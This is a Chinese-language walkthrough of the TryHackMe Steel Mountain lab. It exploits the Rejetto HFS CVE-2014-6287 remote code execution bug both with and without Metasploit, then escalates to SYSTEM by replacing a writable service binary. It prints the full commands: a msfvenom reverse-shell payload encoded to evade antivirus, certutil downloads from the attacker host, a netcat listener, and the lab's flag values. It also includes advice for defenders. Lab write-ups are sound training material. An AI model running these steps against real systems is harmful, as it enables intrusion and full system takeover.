abanop22333/Steel-Mountain-TryHackMe-Walkthrough-Windows-Privilege-Escalation-HFS-RCE
GitHub: abanop22333/Steel-Mountain-TryHackMe-Walkthrough-Windows-Privilege-Escalation-HFS-RCE
这是一个TryHackMe Steel Mountain房间的渗透测试演练指南,教授如何利用CVE-2014-6287进行初始访问和通过服务配置错误提升权限。
Stars: 0 | Forks: 0
[](https://github.com/bobxploit)







# Steel Mountain TryHackMe 通关指南
## Windows 权限提升 与 HFS 远程代码执行
## 📋 目录
- [执行摘要](#executive-summary)
- [房间概览](#room-overview)
- [使用工具](#tools-used)
- [侦察与枚举](#reconnaissance--enumeration)
- [识别漏洞](#identifying-the-vulnerability)
- [使用 Metasploit 获取初始访问权限](#initial-access-with-metasploit)
- [用户标志](#user-flag)
- [使用 PowerUp 提权](#privilege-escalation-with-powerup)
- [利用服务配置错误](#exploiting-the-service-misconfiguration)
- [SYSTEM Shell 与根标志](#system-shell--root-flag)
- [不使用 Metasploit 的手动利用](#manual-exploitation-without-metasploit)
- [winPEAS 枚举](#winpeas-enumeration)
- [经验教训](#lessons-learned)
- [参考文献](#references)
## 执行摘要
| 字段 | 详情 |
|---|---|
| **目标 IP** | `10.114.185.20` |
| **操作系统** | Windows Server 2012 R2 (6.3 Build 9600) |
| **架构** | x64 |
| **关键漏洞** | CVE-2014-6287 — Rejetto HFS 远程代码执行 |
| **利用模块** | `exploit/windows/http/rejetto_hfs_exec` |
| **漏洞端口** | `8080` (HTTP File Server 2.3) |
| **权限提升** | AdvancedSystemCareService9 — 可写服务二进制文件 |
| **用户标志** | `b04763b6fcf51fcd7c13abc7db4fd365` |
| **根标志** | `9af5f314f57607c00fd09803a587db80` |
## 房间概览
本指南涵盖**两条完整的攻击路径**:
- **路径 A** — 使用 Metasploit 的完整利用
- **路径 B** — 不使用 Metasploit 的完整手动利用(OSCP 风格)
## 使用工具
| 工具 | 用途 |
|---|---|
|  | 端口扫描与服务枚举 |
|  | CVE-2014-6287 利用 |
| `msfvenom` | 恶意载荷生成 |
| `PowerUp.ps1` | Windows 权限提升枚举 |
| `winPEAS` | 自动化 Windows 枚举 |
| `netcat` | 反向 Shell 监听器 |
| `certutil` | Windows 原生文件下载器 |
| `python3` | 手动利用执行与 HTTP 服务器 |
## 侦察与枚举
在接触任何漏洞利用之前,我们使用 Nmap 并配合版本检测、默认脚本、漏洞扫描和操作系统指纹识别来映射完整的攻击面。
```
nmap 10.114.185.20 -sV -sC --script=vuln -O -Pn
```
**标志分解:**
| 标志 | 用途 |
|---|---|
| `-sV` | 检测服务版本 |
| `-sC` | 运行默认 Nmap 脚本 |
| `--script=vuln` | 运行漏洞检测脚本 |
| `-O` | 操作系统指纹识别 |
| `-Pn` | 跳过主机发现(视主机为在线) |
**扫描关键发现:**
```
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2
3389/tcp open ssl/ms-wbt-server
8080/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```
## 识别漏洞
**CVE-2014-6287** 是 Rejetto HTTP File Server 2.3.x 版本中的一个严重远程代码执行漏洞。
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2014-6287 |
| **CVSS 分数** | 7.5(高危) |
| **受影响版本** | HFS 2.3, 2.3a, 2.3b |
| **所需认证** | ❌ 无 |
| **攻击向量** | 网络 |
**根本原因:** `findMacroMarker` 函数未能正确清理 URL 搜索参数中的空字节(`%00`)。通过发送一个包含空字节后接 HFS 模板宏(例如 `{.exec|
.}`)的精心构造的请求,攻击者可以在服务器上执行任意操作系统命令——无需任何认证。
## 使用 Metasploit 获取初始访问权限
Metasploit 包含一个针对 CVE-2014-6287 的现成利用模块。启动 Metasploit:
```
msfconsole
```
搜索并选择该利用模块:
```
msf6 > use exploit/windows/http/rejetto_hfs_exec
```
配置所需参数:
```
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 10.114.185.20
msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
```
**利用输出:**
```
[*] Started reverse TCP handler on 10.114.66.80:4444
[*] Using URL: http://10.114.66.80:8080/rgHFMeTw
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /rgHFMeTw
[*] Sending stage (177734 bytes) to 10.114.185.20
[!] Tried to delete %TEMP%\zHbprOZvQjZrPH.vbs, unknown result
[*] Meterpreter session 1 opened (10.114.66.80:4444 ->
10.114.185.20:49890) at 2026-05-15 01:26:33 +0100
[*] Server stopped.
```
在 Meterpreter 提示符下验证系统信息:
```
meterpreter > sysinfo
```
```
Computer : STEELMOUNTAIN
OS : Windows Server 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
```
## 用户标志
在文件系统中搜索用户标志:
```
meterpreter > search -f user.txt
```
```
Found 1 result...
c:\Users\bill\Desktop\user.txt (70 bytes)
```
读取文件:
```
meterpreter > cat "c:\Users\bill\Desktop\user.txt"
```
```
b04763b6fcf51fcd7c13abc7db4fd365
```
## 使用 PowerUp 提权
以 `bill` 身份获得初步立足点后,下一个目标是提升至 **SYSTEM** 权限。我们使用来自 [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) 框架的 **PowerUp.ps1** —— 一个自动检测常见 Windows 权限提升向量的脚本:
- 未加引号的服务路径
- 可写的服务二进制文件
- 弱服务 ACL(访问控制列表)
- AlwaysInstallElevated 注册表配置错误
- 可修改的服务注册表项
### 下载 PowerUp.ps1
```
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
```
### 上传至目标
```
meterpreter > upload /root/Desktop/PowerUp.ps1
```
### 加载 PowerShell 并执行
```
meterpreter > load powershell
meterpreter > powershell_shell
```
```
PS > . ./PowerUp.ps1
PS > Invoke-AllChecks
```
### PowerUp 输出 — 关键发现
```
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : C:\Program Files (x86)\IObit\Advanced SystemCare\
CanRestart : True
StartName : LocalSystem
Check : Unquoted Service Paths
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
```
## 利用服务配置错误
### 攻击计划
```
[bill] → Replace ASCService.exe → Restart Service → [SYSTEM Shell]
```
### 步骤 1 — 生成恶意载荷
在攻击机上,使用 `msfvenom` 创建一个 Windows 反向 Shell 服务可执行文件:
```
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.114.66.80 \
LPORT=4443 \
-e x86/shikata_ga_nai \
-f exe-service \
-o ASCService.exe
```
| 标志 | 描述 |
|---|---|
| `-p windows/shell_reverse_tcp` | 标准 Windows TCP 反向 Shell |
| `LHOST` / `LPORT` | 攻击者 IP 和监听端口 |
| `-e x86/shikata_ga_nai` | 用于基本 AV 绕过的多态编码器 |
| `-f exe-service` | 输出为 Windows 服务可执行文件 |
| `-o ASCService.exe` | 与合法二进制文件同名的文件名 |
### 步骤 2 — 设置监听器
```
msfconsole -q -x "use exploit/multi/handler; \
set PAYLOAD windows/shell_reverse_tcp; \
set LHOST 10.114.66.80; \
set LPORT 4443; \
exploit"
```
### 步骤 3 — 上传载荷
```
meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
```
### 步骤 4 — 停止、替换并重启服务
停止正在运行的服务:
```
sc stop AdvancedSystemCareService9
```
复制恶意载荷以覆盖合法二进制文件:
```
Copy-Item -Path "C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ASCService.exe" `
-Destination "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" `
-Force
```
重启服务以触发以 SYSTEM 身份执行的代码:
```
sc start AdvancedSystemCareService9
```
## SYSTEM Shell 与根标志
服务启动的瞬间,Windows 以 **LocalSystem** 身份执行了我们的载荷。监听器捕获到了反向 Shell:
```
Connection from 10.114.185.20 received!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```
验证权限:
```
whoami
```
```
nt authority\system
```
定位并获取根标志:
```
where /r C:\ root.txt
```
```
type C:\Users\Administrator\Desktop\root.txt
```
```
9af5f314f57607c00fd09803a587db80
```
## 不使用 Metasploit 的手动利用
### 步骤 1 — 获取 Python 利用代码
```
searchsploit rejetto
searchsploit -m 39161.py
```
编辑利用配置变量:
```
ip_addr = "10.112.125.29" # Your TryHackMe VPN IP
local_port = "443" # Listener port
```
### 步骤 2 — 设置 Netcat 监听器
```
nc -lnvp 443
```
### 步骤 3 — 下载静态 Ncat 二进制文件
该利用使用 `certutil` 将 `ncat.exe` 从我们的 HTTP 服务器拉取到目标机器:
```
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe
```
### 步骤 4 — 通过 Python HTTP 服务器托管文件
```
python3 -m http.server 80
```
### 步骤 5 — 执行利用
```
python3 CVE-2014-6287.py 10.13.12.138 8080
```
**内部执行过程:**
```
Attacker HFS Server (Target)
| |
|-- Sends crafted HTTP request ------>|
| |-- Executes: certutil -urlcache -f
|<-- Target downloads ncat.exe -------| http://10.13.12.138/ncat.exe
| |
|<-- ncat.exe connects back (443) ----|
| |
[shell as bill]
```
该利用触发 HFS 模板注入,导致服务器运行:
```
certutil -urlcache -f http://10.13.12.138:80/ncat.exe ncat.exe
```
这会使用**原生 Windows 二进制文件**从我们的 HTTP 服务器下载 `ncat.exe` —— 目标机器上无需任何额外工具。
## winPEAS 枚举
**winPEAS**(Windows 权限提升绝佳脚本)对数百个权限提升向量进行全面的自动化枚举。
### 下载 winPEAS
```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe
```
### 通过 certutil 传送至目标
```
certutil -urlcache -f http://10.13.12.138:80/winPEASx64.exe winPEASx64.exe
```
```
**** Online ****
000000 ...
0b2e00
CertUtil: -URLCache command completed successfully.
```
### 执行 winPEAS
```
.\winPEASx64.exe servicesinfo
```
**确认漏洞的相关输出:**
```
[+] Interesting Services -non Microsoft-
AdvancedSystemCareService9(Advanced SystemCare Service 9)
[C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe]
File Permissions: Everyone [AllAccess]
Possible DLL Hijacking in binary folder:
C:\Program Files (x86)\IObit\Advanced SystemCare (Everyone [AllAccess])
START_TYPE: 2 - AUTO_START
RUN_AS: LocalSystem
```
## 经验教训
### 🛡️ 对防御者
| 发现 | 建议 |
|---|---|
| HFS 2.3 暴露在 8080 端口 | 立即打补丁。CVE-2014-6287 于 2014 年修复。实施持续漏洞管理。 |
| 服务以 LocalSystem 身份运行 | 应用**最小权限**原则。服务很少需要 SYSTEM 权限。使用专用的低权限账户。 |
| 服务目录 Everyone 可写 | 审计并限制所有服务二进制目录的 ACL。定期使用 `icacls` 或 `AccessChk`。 |
| HFS 可从网络访问 | 实施**网络分段**。内部服务不应从不受信任的网段访问。 |
| 无 FIM(文件完整性监控) | 在服务二进制目录部署**文件完整性监控**。二进制文件替换可立即被检测到。 |
### ⚔️ 对红队成员
- **枚举所有端口** — 关键服务在 `8080`,而非显而易见的 `80` 端口
- **同时使用 PowerUp 和 winPEAS** — 它们互为补充并能互相确认发现
- **`certutil` 是你的好朋友** — 可靠的原生 Windows 下载器,目标无需额外工具
- **精通手动利用** — Metasploit 是捷径,不是拐杖。手动路径对 OSCP 至关重要
## 参考文献
| 资源 | 链接 |
|---|---|
| TryHackMe 房间 | [Steel Mountain](https://tryhackme.com/room/steelmountain) |
| Rapid7 模块 | [exploit/windows/http/rejetto_hfs_exec](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/) |
| Exploit-DB | [CVE-2014-6287 — EDB-39161](https://www.exploit-db.com/exploits/39161) |
| NVD | [CVE-2014-6287](https://nvd.nist.gov/vuln/detail/CVE-2014-6287) |
| PowerSploit | [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) |
| PEASS-ng | [winPEAS](https://github.com/carlospolop/PEASS-ng) |
| 静态二进制文件 | [ncat.exe](https://github.com/andrew-d/static-binaries) |
**由 [BobXploit](https://github.com/abanop22333) 撰写**
*渗透测试员与网络安全研究员*
[](https://github.com/bobxploit)
[](https://tryhackme.com)
*关注获取更多 TryHackMe 通关指南、CTF 解题报告和攻击性安全内容。*
标签:AI合规, API接口, CISA项目, Conpot, CTF挑战, CTI, CVE-2014-6287, HFS漏洞, Metasploit框架, Nmap工具, PowerShell脚本, Python编程, Steel Mountain房间, TryHackMe平台, Windows安全, winPEAS工具, 初始访问, 协议分析, 命令执行, 威胁模拟, 安全演练, 手动漏洞利用, 提权演练, 插件系统, 攻击技术, 服务配置错误, 权限提升, 枚举扫描, 漏洞分析, 编程工具, 网络安全, 路径探测, 远程代码执行, 逆向工具, 隐私保护